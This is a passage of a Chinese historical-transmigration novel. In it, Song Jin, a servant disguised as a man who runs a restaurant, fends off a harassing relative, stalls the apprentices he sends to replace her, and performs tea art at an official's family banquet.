宋瑾一听,果然是换了知府,不过更喜的是罗大人要她做菜给新知府,这样一来便可顺理成章的拖延婚嫁的日子,她也算得到了喘息的机会。
只是......
“大人既提起此事,小人倒有一事想问。”
“哦,什么问题,你问。”
宋瑾道:“前两日小人回柴家,见姑母为官司而烦忧,因此想问问,这官司几时落定?也好叫姑母安下心来才好。”
罗大人面色严肃起来,捻着胡须道:“这官司本官并未参与啊。”
“这桩官司乃是陈大人审理,上月才从县里判定,你姑母不服,又在府衙递了状词。”说到此处他顿了顿才道:“你姑母,有个厉害的讼师。”
一提讼师,宋瑾想起来那日在柴家撞见的秀才,叫莫什么的。
“这个小人便不知了,只是担心姑母而已。”
宋瑾笑着遮掩过去,就听季舒白继续道:“这桩官司并不难断,最慢下月也就定下了,不过......”
季舒白这人说话磨磨唧唧,宋瑾听得喘不过来气。
“赢的恐怕不是你姑母,你最好叫她别抱希望。”
宋瑾讪笑着点头道好,心中却已经开始计议。
九月新知府,她能拖到那个时候,恰好官司那个时候落定,那么最慢她就可以在十月提出脱籍。
那么眼下最重要是的便是将罗大人的心思告诉文雅,好拖延时间,免得她来硬的。再一个是多存些银子,毕竟出来了也要生活的,没银子就要成流民了。
宋瑾心中有了计较,面上也就自然起来,那季舒白一边问起今夜饭资,一边去袖中掏银子。
“三钱两分,嘿嘿。”
宋瑾笑着说了个价钱,季舒白掏银子的手瞬间顿住,那罗大人也呆看着宋瑾。
“掌柜的,你这顿饭可够贵的。我看你这是小店大牌嘛,哪里来的没有铜板缴税,就这一顿都够你缴的了。哈哈,季大人,今夜这顿饭,你可是亏了。”
柴恒给赏银给的大方,罗大人给赏银的时候也不算小气,主要在柴恒太不把银子当银子了,所以宋瑾并不觉得五钱赏银少。可是今天却说季舒白这顿饭亏了,这大概就跟五百块钱丢了不算事,但是花五百吃碗白水面立刻觉得亏的要死一样。
宋瑾这顿饭用了心思,菜也不错,可是要价三钱二分跟讹诈无异,所以罗大人说季舒白亏了。
季舒白愣怔了半晌,还是去袖中掏银,只是给的时候问了个问题:“掌柜的,您可以帮着算下价钱么?”
亏,要吃的明明白白,宋瑾满足他。
“大人,今夜也没吃什么,贵就贵在那黎朦糕上。”
“你倒说说,这黎朦糕贵在哪里。”
宋瑾道:“这黎朦糕是本店推出的稀罕物,要做这道点心,得提前数日提取黎朦子中的香气,数斤黎朦子才提出这一点点。而且要想这黎朦糕能结成块,还得专门买冰镇着,方才能成型,所以价格略贵些。”
“是多贵?”
宋瑾伸出一根手指道:“一钱银子一块。”
季舒白眯着眼,看着宋瑾胡说八道,半晌笑了一下,将手中一块碎银丢进宋瑾手心:“不必找了。”
“多谢大人,多谢大人。”
“掌柜的,有没有人说你是奸商?”
宋瑾得了钱,心中高兴,忽听罗大人这样问,张口便答:“大人您这话说的,小人老老实实,本本分分做生......”
“有。”季舒白抢答。
宋瑾告诉自己大度,因此不跟他计较。
她并不打算再做黎朦糕,主要是太累了,因此才故意要高价钱。一则是将之前实验的成本收回,二则是让季舒白打住,别跟那玉米烙一样,次次都要吃,那不给她累死。
季舒白付过饭资,与罗大人一同下楼,宋瑾跟在身后相送。
“看样子,这黎朦糕很合季大人的胃口。一钱银子一块点心,旁人听了还以为是金子做的呢。”
宋瑾跟在身后任由罗大人揶揄,并不辩解,哪知眼前人忽然站定,慌得宋瑾连忙收住脚。
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“大人,还有什么吩咐?”
季舒白转过身子看向宋瑾,脸上笑意不散:“烦请掌柜的明日再做一份,我会安排人来取。”
宋瑾:“......”
罗大人同季舒白走了,宋瑾心头说不出的感受,又是高兴,又是烦恼。
高兴在做的东西被人喜欢,烦恼在实在累人,不过这也有个好处,季舒白喜欢,她只要藏着这门手艺,那将来没准儿能跟季舒白搭上线,将来或许能用上呢。
这天是中秋,街市上热闹异常,可是对宋瑾而言,她的热闹在厨房里,锅铲一直挥到临近亥时方才结束。
等忙完了这些,难得因为中秋不宵禁,宋瑾也没心思去外头看看,整个人累的不行。倒是春云跟红杏采薇几人活泼的不行,嚷嚷着出去看看再回来收拾,宋瑾也就不约束,由着她们三人连带着阿荣和一个伙计一道出了门。
几个丫头出去看花灯,两个婆子也没闲着,搬了个方桌到后院中充当案台,又把用剩的黎朦子供在岸上,白日两人做好的月饼,还有不知道哪里来的鲜花一起摆好。做完这些便站在那里拱手拜月,口中嘀嘀咕咕不知道在说些什么。
两人拜完了还不算,拉着宋瑾也来拜。
“拜什么呀?”
宋瑾想着中秋团圆,她如今在这里可没法团圆。
“按理来说你今日当跟你爹娘一起过这团圆节,可是咱们忙着,回不去,你便在这里拜月。”
“将来你若是有了相公孩子,也是要替他们拜月,祈求平安团圆。”
宋瑾被拉到方桌前,抬头便是银盘圆月,与二十一世纪所见并无异样。
她就那么静地挂在空中,俯视世间一切悲欢离合,太平盛世也好,战火纷飞也罢,该来的都要来,该走的自会走,求谁也没用。
宋瑾呆了半晌愣是没有拜,两个婆子有些急了,伸手推了推她。
“要拜的,求个平安团圆。”
宋瑾凄然一笑,学着婆子的样子并拢双手,紧闭双眼,祈求自己平安顺遂。
不求大富大贵,只求平安终老。
两个婆子见她拜了,笑道:“成了,拜完月咱们也该吃吃,该喝喝。”
“他们两个还没有拜呢。”
宋瑾指的是留在店中的那个伙计。
“这男子不拜月,男子呀祭灶。”两个婆子一边说话,一边撤掉上头的祭品,只留下了月饼。
宋瑾在一边看着,她对这旧日习俗所知不多,只有个大概的印象,毕竟在二十一世纪实在不算重视。
几人一边端了饭菜上来,一边说着话。
“那几个丫头小子过会子该回来了吧?”
“年纪轻,也不知道累,忙一天了还往外头跑。”
宋瑾听几人说着闲话,回头进屋里抱出自己那包宝贝瓷器,自顾自倒上茶。
“掌柜的,今儿咱们喝酒吧。”
两个婆子嘴馋,不想喝茶想喝酒,宋瑾并不拦着。
“成,你们喝酒,我坐这里喝茶。”
后院里有棵桂花树,宋瑾搬了张竹椅,一把春凳在树下,在春凳上泡好了茶后便整个人坐进竹椅里,端着茶杯,翘着二郎腿,呆看空中圆月,那竹椅被她坐的吱呀乱响。
婆子们在谈笑,外头也热闹,偶有炮仗的声音传来,宋瑾就那么静静地坐着喝茶。
47. 骚扰
那日之后,宋瑾被迫接下了新的生意:做黎朦糕,更过分的是季舒白常常加量。
他是真喜欢。
可是宋瑾越做越来气,累死了就做几份,毕竟太贵了。后来想着既然要做,那就多做些好了,而且柴家不是有个小的嘛,要是那孩子能爱上,她必能再赚一笔。
心中有了打算,她也就没停,单独做出一份后叫小二随着白切鸡送去了柴家,说是特意给小官人尝尝。
哄大人不如哄孩子,这是宋瑾的经验。
果不其然,这天上午店中小二送完东西后回来喜滋滋道:“喜欢喜欢,这柴家的两个孩子都喜欢,叫明天还接着送,要五个。”
一时间有人高兴有人忧,高兴是能卖的上价钱,忧是这东西做起来实在累人。
可是宋瑾计算着,若是这东西能跟柴家的孩子还有季舒白的喜欢,那么这条线没准儿她真能够上。
其次这东西虽然简单,可是有些技巧宋瑾是没有教过的,若是将来脱了籍,她得自立门户,总得有个拿得出手的东西去挣钱养活自己一家人,黎朦糕就很好。
最后这家店能赚上钱,文雅应该会多给自己一些时日吧?
无论如何,整个食鼎楼的人都跟酥油杠上了,每天一个人负责打酥油,宋瑾负责做黎朦糕,比起从前累了不少。只是一算起银子来,这些累都不算什么了。
季舒白跟柴家每日都要,一个便是一钱银子,没有哪天是低于五钱银子的,偶尔府衙里头也有人好新鲜,买一两个尝尝。名声越传越开,买的人也越来越多。
宋瑾算了算,第一个月光是黎朦糕就能挣上将近二十两银子,这可是笔巨款。
有多巨呢?两个月下来,宋瑾就能买下一间僻静处临街的小楼了,到时他们一家三口就有住处了,当然,没的院子。
宋瑾将自己的匣子视若珍宝,那里头装着自由,只等官司落定,她便要行动了。
可是官司还没定,食鼎楼里却来了一个不速之客。
这天傍晚,食鼎楼里有些人满为患,宋瑾在厨房里忙碌,忽然小二进来说话,声音低低的:“文家公子来了,说要找你。”
宋瑾一听,汗毛倒竖。
对文新这个人,她的印象一直不算好。原先两人分开,接触的少,倒也无所谓,如今自己刚刚跟府衙里头搭上关系,他便接二连三的刁难,此次前来必没安好心,可她却无处可躲。
宋瑾跟着伙计离开后厨,来到楼里,一眼便看见了站在当中把玩扇子的文新。
那文新见着宋瑾出来,歪嘴一笑:“掌柜的,生意不错嘛。”
语气不善,宋瑾只得应付。
“文公子今日大驾光临,是为了吃饭,还是……”
“我来干什么,你还不知道么?”
文新身子凑近了些,语气玩味,宋瑾心头发麻,却因为男子的身份不好说些什么。
“文公子既然是来用饭的,那就楼上请吧。”
宋瑾不搭理他的言外之意,只将人往人少的二楼请去。
文新见宋瑾根本不接招,只身往楼上去了,只好快步跟上。
“文掌柜一手将这食鼎楼做起来,如今却要拱手让人,心中也有些难受吧?”
宋瑾觉得此人今天就是来让她难受的。
“说到底都是为大奶奶做事,没什么难受不难受的。”
“你能这么想得开就好了。”
宋瑾站在临窗的桌边不再走动,文新看出来叫他坐,他却偏不坐,只把整个身子往宋瑾身边贴过去。
“姑母说了,你将来要进我家门,叫我拣选着日子。要我说,咱俩什么日子不日子的。你又不是什么良家女子,一个家奴,抬过去就完了,你说是不是?”
一股委屈涌上宋瑾心头,被人像动物一样安排来安排去,她却一点反抗能力都没有,所谓的人分三六九等,原来竟如此明显。
“我去吩咐厨房上菜。”
宋瑾说完话扭头就走,谁知转头遇上一个意想不到的人。
店里伙计正引了穿便装的季舒白上了楼。
四目相对,宋瑾眼泪汪汪的,慌忙低下头,却忘记了该怎么打招呼。
“季……季大人。”
文新一听宋瑾喊季大人,便知道这是那位数月前刚刚到任的季同知,忙拱手作礼,笑着道:“原来是季大人。”
季舒白听得眉头一皱,用当初打量宋瑾的眼神打量着文新:“这位是?”
“在下文新,说起来与这文掌柜还是亲戚。你说是吧?文兄。”
说话间一只手搭上宋瑾的肩头,用力往里勾了勾,勾的宋瑾胃里直犯恶心。
“季大人请坐,小人这就去后厨安排饭菜。”
宋瑾是拱手行礼说的话,收手时没有往下放,而是就势往后一顶,手肘一下便击到了文新的心口上,击的文新面色惨白,后退两步才站定。
“你……”文新平白挨了顿打,刚要发火,可抬眼看见季舒白那微微眯起的眼神,一番刁难只能咽进肚子里。
“文掌柜手劲不小,文公子也该保持好距离,出门在外勾肩搭背,总是有失礼数。”
“是,季大人教训的是。”
文新心中窝火,宋瑾也窝火,眼泪不受控制地往外涌,只好赶紧找个理由下楼去,留下伙计在二楼照应。
宋瑾心中羞愤不已,以至于菜做出来后,也都是让伙计端上二楼,她自己不肯再出现。
倒是那伙计,耳聪目明的,带回来二楼的情形。
季舒白同文新做坐了一桌,文新要请季舒白用饭,季舒白不肯,闲话几句后言语客气地“撵”走了文新。文新被撵,觉得无颜坐下去,于是抽身走了。
宋瑾静静听完,心里头对季舒白这个人说不出来的感受,直到季舒白快要吃完饭时,才上楼露面。
“季大人吃得如何?”
季舒白最近似乎爱笑了些,此刻也带着些微笑:“文掌柜的手艺一向不错。”
宋瑾笑笑:“季大人喜欢就好。”
今日的宋瑾不似以往那般点头哈腰,倒是多了几分含蓄,说话时也不抬头看人。
这一回说完
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话后,半晌没听见声音,这才抬头去看季舒白,只见他嘴角含笑,面上又带着疑惑。
“文掌柜似乎很爱哭。”
宋瑾:“……”
“刚刚是他说什么了么?以至于你要哭出来。”
宋瑾听了这话,好不容易收起来的情绪又涌了出来,可是实话却是不敢讲的。
“我懦弱,行不行?”
这话说的季舒白一愣,这辈子佯装坚强的人他见过不少,可是直言懦弱的人还是头一回。
这种事情还能这么光明正大的承认么?
“倒也……不是不行。”
季舒白清了清嗓子又道:“那文公子的名头,我倒是听说过。说起来你们都是文家人,是什么原因导致不睦的?”
宋瑾绞着手指头,声音低低的:“说起来,我们二人都叫柏家二娘子姑母,可是他是亲外甥,我只是投奔过来,硬要套近乎,才叫了一声姑母的。”
季舒白听到这里没说话,宋瑾只好接着道:“蒙姑母抬爱,这才有了立足的地方,可是那文公子……仗着与姑母亲近,一定要在我这小店里得些好处,所以……”
“所以他刁难你了?”
宋瑾垂下头,不置可否,季舒白便当是了。
“他如何刁难你的?”
“左不过是想要这家店。”宋瑾想着,若是自己嫁过去,那这店必然是文新管着,那这罪名不假。
“他如何拿走这家店?”
季舒白的性子,真是叫人又爱又恨。爱他刚直,又恨他非要追个究竟,绝不迷糊办事。
可是实话宋瑾没法说,只好垂首道“不知”。
季舒白叹了口气,过了会子才道:“此事若是如此,那也算是家事,本官不好过问。不过若是将来他做了其他什么事,你倒是可以来找本官,只要是本官能管的范围,本官一定替你做主。”
宋瑾听得心中有些温暖起来,勉强笑了笑,谢过了季大人。谁知季舒白接下来一番话又把宋瑾给浇了个透心凉。
“虽说你认为他想夺这店,不过本官倒是有另一个想法。”
“什么想法?”
季舒白面色有些尴尬,思虑半晌后问道:“你可是对他念诗了?”
“诗?什么诗?”
季舒白听到反问,脸忽地一红,宋瑾立刻明白过来。
“季大人,您说什么呢?我……我……当日要不是大人问起来,小人也是不会念的,谁会见人就念诗呀?”
何况还是那种诗。
宋瑾气红了脸,季舒白也尴尬无比,可是他扫了眼宋瑾,身形瘦弱,面庞莹润,颇有点女子的风韵。又想起那日在柴家,柴恒拉着他的手,被柴夫人当场捉住,他不能不起疑心。
或许那个文新,既冲着店,也冲着人,刚刚的眼神和动作就不是对亲人的,毕竟眼前的可是个会当众念《天地阴阳交欢大乐赋》的人,模样还有些……
“兴许是本官想错了,只是提醒一下文掌柜,那文公子未必没有这样的想法。你们到底是亲人,如此这般……实在是……”
48. 学徒
实在是不成体统。
后面的话不是季舒白说的,是宋瑾自己在心里补上的。
“我没有!”
宋瑾没来由的生气,声音也大了起来,好不容易憋住的眼泪再次涌上来。
“你别哭呀,本官只是一问……”
“你问什么不好,你问这个,难不成我勾引他啊?”
季舒白被问的哑口无言,尤其是看到宋瑾那张满是泪水的脸。
第一次见这么好哭的男人。
“好了好了,本官不问了,是本官冒犯了,可好?”
宋瑾哭得不能自已,由着季舒白皱眉道歉。
季舒白也头疼,一个大男人在他面前哭成这样,叫人看见了,岂非要说他为官不正欺负人。
宋瑾在哭,他在叹气,要走显得无情,要留显得尴尬。就在无所适从之际,宋瑾止了哭声。
“今日多谢大人,这顿饭小店请了。”
“啊这……倒也不必。”
“八分银子。”
这顿饭宋瑾本来就打算请,因此上的并不奢侈。季舒白说不必,她生着气也就没啰嗦,张口报价要钱,只是这回没讹人了。
季舒白苦笑着摇了摇头,从袖中摸出一块儿碎银来,递到宋瑾眼前道:“称一下,多余的还我。”
“噗嗤……”
宋瑾破涕为笑,总算缓解了季舒白的尴尬。
原本宋瑾以为文新会时常来捣乱,结果很意外的,文新没再出现在店里,倒是那位传说中的新任知府大人出现在了府衙里。
这天上午,宋瑾如约到柴家教几个挑选出来的丫鬟茶艺,临走时柴家管事拦住她,说是新任知府到任,过些时日要在家中办一个小家宴。叫宋瑾依着御史大人的例子,帮着做几道菜,顺便表演茶艺,宋瑾高高兴兴地应下了。
谁知就在高兴的事情接连发生的时候,不开心的事情来了。
这日宋瑾回了食鼎楼,进门便瞧见屋里头站着好几个人,围着一个男人坐着。
因为不是用饭的时辰,这群人显得尤为惹眼。
是文新带着人来了。
宋瑾跟他已经撕破脸皮,索性连客气也不客气了。人往文新面前一站,冷冷问:“有事?”
文新见状,邪笑一声:“有靠山了,就是不一样哈。”
宋瑾斜眼看侧面底下,不搭理他的揶揄。
文新站起身来,背着手往她身边踱了两步:“我与姑母商议了一下,觉得这里就两个婆子跟着你学厨艺,还是太少。”
“你看,现在御史大人,同知大人都爱你做的菜,还教着柴家茶艺,指定忙不过来。所以我今日带了两个厨役来,你也好好教教,教会了,将来也就不用你亲自做菜了,太辛苦了些。”
不用她亲自做菜,这便是要卸磨杀驴了。
把她收进文家,有了新菜随时教,文新的厨役接下食鼎楼,她便再也见不得天日了。
“好啊,是哪两位?”
宋瑾不拒绝,教着还能拖延时间,不教她可能就没时间了。
“跟你说话真是痛快。”文新高兴不已,转身看向自己带来的几人,其中两人站了出来,拱手作揖道:“文掌柜。”
“这两位便是我千挑万选的厨役,往后便跟着你学,你尽管使唤。当然了,这厨艺也是要教的,姑母的意思。”
文新把“姑母”两个字咬的特别重,言外之意很明显了。
宋瑾只是笑笑:“好啊,我一定细心地教。”
宋瑾没有任何推辞地接下了这两个来学厨艺的人,以至于文新原本以为的要发狠示威要挟的把戏都没有派上用场,就这么留下两个人走了。
楼下又空了下来,宋瑾看着两个男人,默不作声地走到刚刚文新坐的位置坐下,这才开口问话。
“你们二位都叫什么名字?”
“小的全锐。”一个矮个小圆脸说道。
“小的洪允,我们原先都是在文公子家做厨役的。”另一个窄脸细长身子的人说道。
两人答话间不禁面面相觑,按理来说宋瑾跟他们一样都是家奴,怎么这位还摆上谱了?
宋瑾察觉出他们的疑惑,却懒得搭理,只继续往下说话。
“既然文公子要求你们来跟我学厨艺,我自然要倾力相授,保管你们学有所成。”
两人听了这话都是高兴,原本文新嘱咐的可能会被刁难并没有发生,心里都松了一口气。
“多谢文掌柜。”
宋瑾但笑不语,引着两人往后厨走去。
“你们既是文公子送来的,我自然会好好教。不过丑话说在前头,教厨艺我有我的想法,你们照办便是。若是不肯,我也可替二位开口去跟文公子说,将你们二人送回去。”
两人在背后听得面色发白,不禁对望一眼,搞不明白为什么这个瘦瘦弱弱的家奴这么大的规矩。
可是文新叫他们两人好好学,将来要替了眼前人,他们也只好忍着。
宋瑾将二人引至后厨,对着婆子丫鬟们道:“这是洪允和全锐,文公子新带来学厨的。”
说完又对二人道:“陈妈妈和林婆婆两个是在后厨给我帮忙的,已经跟我学了好些时日。从今天起,你们先跟她们学做菜,等学会了再由我来教。”
两人一听,合着宋瑾压根就没打算亲自教,直接推给了两个婆子去了。
两个婆子也是心中纳闷,好端端的怎么又来了两个人学厨,莫非要让她们两个回宅子里头去?
婆子们分不清,眼下又不好说话,只好应下了这个活计,等晚间无人时再说。
“你们二人晚上若是不回去,便跟店里账房阿荣睡一个屋,今天就学……”
宋瑾看向两个婆子:“糯米排骨吧。”
“啊?”
糯米排骨,店中并不出售,一来卖不上价,二来颇耗时间,所以宋瑾不在店里做这道菜,只是给柴家做过。
她让这两人学这个菜,用意不在教,而是纯粹耗时间。
婆子两个惊讶了一下,瞬间反应过来,指挥二人去菜市买排骨,立刻便将人支开了。
等人走了,众人都凑到宋瑾面前说话。
“这是怎么个意思?这小店咱们撑起来了,如今真要由文公子来管了?”
对楼里人而言,谁来管不重要,重要的是宋瑾管人松泛许多。只要不喝酒闹事不聚赌,多吃些肉她压根儿就不管,甚至在外得了赏,回来就会请大家喝酒吃肉,都已经成习惯了。
因着这个原因,大家对她藏私房这件事睁一只眼闭一只眼,全当看不见,反正大家都有利,谁没事干那吃力不讨好的事儿。
可如今店里来了两个文公子的人,那可就不一样了。
“二位婆婆先别急,文公子说了,只是来学咱们的菜,您二老慢慢教着便是。您是老师傅了,您说了算,不急的。”
一句老师傅慢慢教着,两个婆子立刻明白过来。
学徒嘛,哪有上手就学真货的,慢慢熬吧。
两个婆子这下安心了,甚至挽起袖子准备拿腔拿调地磨人了。
论起这封建社会磋磨人,宋瑾哪有婆子们擅长,蔓草当初在厨房也没少吃苦,她晓得其中厉害。
宋瑾就这么把两个“新学徒”丢给了两个婆子,婆子们自然没客气,指挥着买菜扫地烧火,正事没一件,琐事一大堆,弄得二人怨气极大,又不好说什么。
这日上午宋瑾要去柴家家宴,宴请的正是知府夫妇。宋瑾早早准备好,准备带着一个婆子和丫头过去,两人见了,忙过来说话。
“掌柜的,您等等。”
那矮个小圆脸全锐过来说道:“掌柜的,您今儿是去哪里呀?”
“柴大官人家中设宴,让我过去做几道菜。”宋瑾笑的温和,红脸全叫婆子做了。
“掌柜的,既是家宴做菜,那是不是应该带上小人,到底也是做了好些年厨役的。”
宋瑾依旧那副皮笑肉不笑的样子问道:“既然如此,那柴家设宴为何不请你们二人去,而是请我去?”
“这……”两个男人哑口无言。
“记着,柴家要请的厨役是我,要带什么帮手由我决定,你们眼下那点本事,我看还是在后厨多待些时日再说吧。”
宋瑾说完话并不停留,带着两人便准备要走,谁知叫那窄脸瘦长身子的洪允拦住了。
“掌柜的,话可不是这么说的。我们两个来这里学手艺,那是文公子的意思,您要是有什么不满,大可以去跟文公子讨个公道,没必要叫那
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婆子把我们当学徒来使唤,作践谁呢?”
宋瑾冷哼一声:“你们是文公子叫来学厨艺的,我是来给大奶奶挣钱的,怎么?是觉得文公子比大奶奶重要了,你们两个也可以骑到我头上了是么?”
两个男人气的不轻,虽说是奴,可是被文新打压和被眼前瘦瘦小小的家奴打压那可是两码事。
“不管是文公子也好,柴家大奶奶也好,那都是想把这食鼎楼做好的,你少给我挑拨离间。”
“既然要做好食鼎楼,今日我不在,林婆婆也不在,后厨由你们二人跟陈妈妈掌勺,有的是你表忠心的机会,不是么?”
全锐气红了脸:“可是伺候柴大官人一样重要。”
“既然知道重要,你们两个尚未出师,凭什么觉得可以跟我出去?难道要拿柴家家宴的菜式来练手么?”
洪允全锐被说的哑口无言,宋瑾留下一句“若是不服,叫文公子到柴家来找她”便带人离开了。
学做菜是假,要是能跟着宋瑾在柴家家宴上露脸,那往后生意会好做许多。
宋瑾如何能不明白这个道理,因此压根儿就不带人进柴家,直接绝了他们这个念头。
宋瑾心中思忖着,要想脱籍,恐怕还得柴家帮忙呢,她绝不允许有人在这之前比自己还露脸。
不过今日的家宴有些特殊,知府跟着柴恒和季舒白在那日七夕的用餐的小楼中,而知府夫人同柴夫人在后花园里一处小楼中用饭,因此她那些拿手菜得备双份。
然而更意外的是茶艺表演并不是给知府看的,而是给知府夫人看的,因此在准备好菜式之后,她便在身穿黄色比甲姑娘的带领下去了后花园里。
深秋已至,小花园里不似以往花团锦簇,柴夫人叫人摆了不少菊花,此刻看来倒也热闹。
宋瑾垂着头,亦步亦趋地跟在姑娘身后,偶尔打量下石子路旁的秋菊盆栽,很快便到了小楼中。
宋瑾上前行过礼后才偷偷抬头看人,在这封建社会做奴做久了,宋瑾觉得自己腰杆子都伸不直了。
不过就算腰杆子不直,她也看清了上首坐着的女人。
四十出头的模样,头戴金梁冠,下面插着一个梅花镶珍珠的翠云钿儿,中间一只金镶红蓝宝石蝴蝶,两侧各一对儿金镶红宝石的花簪。
身上一件水绿缎地祥云纹的对襟袄,白绫竖领下明晃晃的一对如意云头纹金纽扣,宋瑾记得在博物馆见过类似的。
有钱人啊。
“文掌柜?”
宋瑾被人用手轻推了一下方才反应过来:“二……二位夫人有何吩咐。”
上首的女子笑问:“发什么呆呢?”
宋瑾缩着身子道:“初次见到夫人,一时晃神,还以为观音下凡,一时看呆了,不想冒犯了夫人。”
一阵笑声传来:“你倒是嘴甜,不过我已年过五十,观音可不会如我这般苍老。”
“夫人哪里的话,”柴夫人接过了话头:“您说不满四十都有人信。”
比宋瑾还夸张,那夫人倒是挺高兴,问起宋瑾:“听闻你擅茶艺?”
宋瑾乖乖答道:“只是会些泡武夷茶的本事。”
“好啊,此茶虽不合林大人的口味,倒是正合我意,你今日便泡来叫我瞧瞧。”
很快,宋瑾的眼前便单独摆上了一张小桌子,茶叶茶具一一摆好,得了允许后,宋瑾才坐了过去,离二人远远的开始表演功夫茶。
今日的茶具和那日一般,白釉的茶杯茶碗,武夷山的红茶,并无什么特殊之处。只是当碗盖在碗沿上旋转回头的时候,两位夫人明显惊讶了一下,宋瑾就势倒水,盖严实后翻转过来,来了一个倒立旋转,上首传来一阵笑声。
“果真是不一样,我还从未见过如此豪放的茶艺,今日也算是开了眼了。”
柴夫人道:“可不是么,听我相公说的时候还不信,叫家里人练着,都说开水烫手,根本抓不住,也就他能行。”
宋瑾竖耳听着,手上不停,不多大会子两杯红茶便出来了,由丫鬟们端过去,宋瑾又站起身来立着。
直到此时,她才有空去看知府夫人身上金银绫罗之外的东西。
细长眉,菩萨眼,鹅蛋脸上皮肤光洁,不见一丝锐利的棱角,是她没见过的温和模样。
49. 欺人
两位夫人喝了茶,又说起两人的孩子来,柴夫人的孩子还小,知府夫人的孩子却已经成家了。此刻提起,倒是起了抱外孙的心思,催着柴夫人将两个孩子带出来看。
宋瑾也是好奇,一个贪吃鬼,一个泼辣妇,到底会生出怎样的孩子来。及至奶母将孩子带出来方才看清。
大的那个是个女孩,五六岁模样,一袭山茶红缎地的绣花小袄,下面穿着一条同色的裤子,脚踩着一双红色缎子鞋,显得人极为娇俏。
至于脸蛋儿,倒是与她的爹娘极为相似,圆乎乎的,映衬着一双大圆眼乌溜溜的,灵活的很。
她由奶母牵着走来,柴夫人一边对着林夫人说这是她的大女儿保保,一边叫保保请安。
那女孩便乖乖巧巧地行礼道万福,惹得林夫人相当高兴,招手叫她到身边说话。
另有一个小的,是由奶母抱出来的。两三岁模样,两颊同姐姐一般肉乎乎的。一身白绫衣裤,金线绣着缘边,也跟在姐姐后头叫万福。
林夫人喜欢,抱在手里瞧了一阵子才还给了奶母。宋瑾站在一边,如个隐形人一般,却还要时刻关注可要茶水。
细细想来,这种时刻准备为他人服务的情形倒是与前世十分相似,都是没有自己的人。
原来她做了两世奴才却不自知。
前世作恶,以死解脱,这一世呢?她不想要太多的富贵了,平安顺心就好。
正乱想间,柴夫人向她问话。
“你上次做的什么焦糖布丁,保保和宏哥儿都特别爱吃,今儿可有准备新鲜样式儿的?”
有林夫人在,连柴夫人的声音都变得温柔起来。
“小人准备了一样特殊的点心,想必夫人们和小主人会喜欢的。”
“好,那你去厨房准备着吧。”
宋瑾这才退出门去,出去之后才终于挺直了腰杆,长舒一口气。
依着现在的情形,或许将来她出去了,可以考虑开个甜品铺子,又简单又方便,还不需要食鼎楼那样大的地盘。小份小份的卖,大家能尝鲜,又不会很昂贵,岂不美哉。
宋瑾这样想着,脚下也轻快起来。
甜品铺子叫什么名字呢?
回到厨房,一切菜式照旧做好,宋瑾开始一心一意准备起点心来。
主要材料是山药,十月里是吃山药的好时节。
山药去皮切段,隔水上锅蒸熟后取出来,加入一大勺白糖,利用余温将白糖融化。
宋瑾出乎意料地选了菜刀做碾磨工具,刀身几乎平躺,压住一点山药后用力往后一拖,来来回回好几次,压的极为细致,只有这样,出来的山药泥才有现代冰激凌的绵密口感。
一个白釉平盘,中间堆上一座山药宝塔,用小刀划出浅浅的纹路,从顶上浇下两勺桂花蜜便大功告成了。
山药里本身的白糖不多,只是增加一点甜甜的口感,更多的甜味要靠桂花蜜。
桂花馥郁,蜂蜜甜香,山药干净,闻起来甜香至极。
几碗简单的山药桂花蜜做好了,只是这次宋瑾没机会亲自送去,都是府里穿红着绿的丫头们送去的,宋瑾只好等在厨房里头,闲了就玩自己的手指头,倒是林婆婆走来同她说话。
“你今儿出门时说的那这些话,不怕得罪人呀?”
林婆婆看起来有些担忧,宋瑾倒是无所畏惧:“不妨事的,有什么事我担着。”
林婆婆有些不好意思起来:“我倒也不是那个意思,我就是怕那两小子多嘴多舌,在大奶奶面前嚼舌根,到时候反而害了你。”
她更怕宋瑾不在食鼎楼里,换了人她们就没那么轻松了。
这一次宋瑾只笑笑不说话,谁知那林婆婆凑的更近了,压低了声音打听:“听说你要脱籍,什么时候呀?”
宋瑾一听,愣了一下,随后又恢复了,她想快到时候了。
“还不知道呢。”
“想好了脱籍以后干点什么么?”
宋瑾笑笑:“可能还是做菜吧,我只会这个。”
林婆婆哦了一声,若有所思起来。
这一顿宴席,宋瑾没机会去到柴恒的饭桌上见一见新任知府林大人,倒是又碰上了那个青竹杆子,更叫人意外的是,她还见到了那个名叫保保的山茶红少女。
彼时宋瑾正等在正厅侧面的廊下,等着宋管事帮自己结算银两,知府夫妇已经出了门,她闲的在廊下乱逛,忽然听见一个俏生生的声音传来:
“季叔叔。”
宋瑾循声望去,就看见一抹山茶红扑进了翠竹林里。
一身绿衣的季舒白将人抱起,难得的面上带笑:“又重了些,长高了。”
“再过几个月我就七岁了。”
“哦,保保七岁了,那可是大孩子了,不能再叫叔叔抱了。”
“我不!”
保保把脑袋往季舒白颈窝里一埋,宋瑾见了直想笑。
她很难想象季舒白冲着别人叫宝宝的样子,又惊讶于这个宝宝从小就是外貌协会,知道谁好看,该缠着谁。
“文掌柜,这是您今晚的银子。”
宋瑾听见银子,立马回神,双手接过包袱。
“可要称过再拿?”
宋瑾忙摇头:“不用不用,在下信得过管事。”
宋管事喜笑颜开:“那我安排顶轿子送您。”
这是那次季舒白要派人送宋瑾回去后才有的特殊待遇,因此宋管事一说起这个,她立刻想到了季舒白,转头望去时,人影已不见了,竟然莫名的有些失落起来。
宋瑾归结于帅哥没看够,所以失落,略收拾心情后便往轿厅里头去,婆子丫鬟先到门口等她轿子出来。
谁知就在宋瑾进轿子的时候,一只手抓住了她的腰,等回头看去……得低头看,竟是那山茶红少女。
“宝宝?”宋瑾以为人家叫宝宝。
“对,是本小姐!”
保保少女双手叉腰,高昂起下巴,那神情像是在宣布什么重要事情一般。
“有事么?”
“今夜的山药桂花蜜是你做的?”
“对呀,我做的。”
保保上下扫了她一眼,道:“可还有别的口味。”
“有啊,我的秘方多着呢。”
“我要吃。”
保保忽然发难,撅起嘴来说要吃,可惜宋瑾不惯着,举起手中那一包银两道:“今晚结过账了,下回请早。”
说完便要往轿子里头溜,谁知保保再度伸手揪住了她的衣摆:“我现
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在就要吃,我要吃别的口味。”
嚯,小家伙还有两副面孔呢,刚刚对季舒白俏生生的喊叔叔,轮到自己了就开始瞪眼抓人了。
宋瑾指了指自己的衣摆道:“揪出褶子了。”
“哼!你这一身衣裳还不敌我一个鞋面儿呢,怕我赔不起么?”
宋瑾看着眼前的小孩,是有点需要收拾了,索性退出来,跟她一本正经道:
“你还想吃山药泥?”
“对!”
“行!”宋瑾弯下腰来,保持视线与她平齐:“今日已经结过银了,若你还想吃,得用其他的东西来付。”
“你说吧,要什么?”
